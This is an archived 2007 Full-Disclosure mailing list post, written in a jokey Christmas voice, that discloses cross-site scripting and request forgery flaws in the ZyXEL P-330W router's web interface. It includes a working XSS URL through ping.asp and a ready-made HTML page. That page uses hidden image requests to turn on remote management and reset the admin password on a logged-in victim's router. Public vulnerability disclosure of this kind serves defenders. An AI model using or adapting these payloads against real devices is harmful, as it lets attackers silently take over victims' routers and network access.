full-disclosure - Ho Ho H0-Day - ZyXEL P-330W multiple XSS and XSRF vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Tue, 25 Dec 2007 13:31:20 -0600
From: "Santa Clause" <santa_clause@...h.com>
To: <full-disclosure@...ts.grok.org.uk>
Cc: 
Subject: Ho Ho H0-Day - ZyXEL P-330W multiple XSS and XSRF
	vulnerabilities

ZyXEL P-330W “Secure Wireless Internet Sharing Router” is 
vulnerable to multiple XSS and XSRF attacks.

There are a plethora of XSS vulns in the web-based management 
interface so I'll leave it to you to discover these gifts on your 
own.  Here is a starting point:

http://<router_ip>:<router_port>/ping.asp?pingstr=”><script>alert("M
erry Christams")</script>

Additionally, no measures are taken to prevent XSRF so pretty much 
the whole web-based interface is vulnerable.  Here is an example of 
a web page that if loaded by the victim, turns on remote router 
management on port 8080 and changes the admin password to 
"santa_pw":

<html><head><title>Chirstmastime is Here</title></head><body>
<img 
src="http://<router_ip>:<router_port>/goform/formRmtMgt?webWanAccess
=ON&remoteMgtPort=80 
80&pingWANEnabled=&upnpEnabled=&WANPassThru1=&WANPassThru2=&WANPassT
hru3=& 
submit-url=%2Fremotemgt.asp" width="0" height="0"> 
<img 
src="http://<router_ip>:<router_port>/goform/formPasswordSetup?usern
ame=admin&newpass=santa_pw 
&confpass=santa_pw&submit-url=%2Fstatus.asp&save=Save" width="0" 
height="0"> 
</body>
</html>

Of course, for any of these attacks to be successful the victim has 
to be recently logged in to the router.

Hope everyone has a Merry Christmas and please don't think Santa is 
a lamer because he posted XSS and XSRF (hey, I've been busy 
delivering toys all night and needed a little pick-me-up).

Merry XSSmas, peace on earth, and this year, give the gift of input 
validation.

--
Win the battle of the bulge with great liposuction solutions. Click now!
http://tagline.hushmail.com/fc/Ioyw6h4eJlsMHREnhDoPYTILkqINo7u2mZMY2VpNJWbRfE1IZE7gfO/
-Santa Clause

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/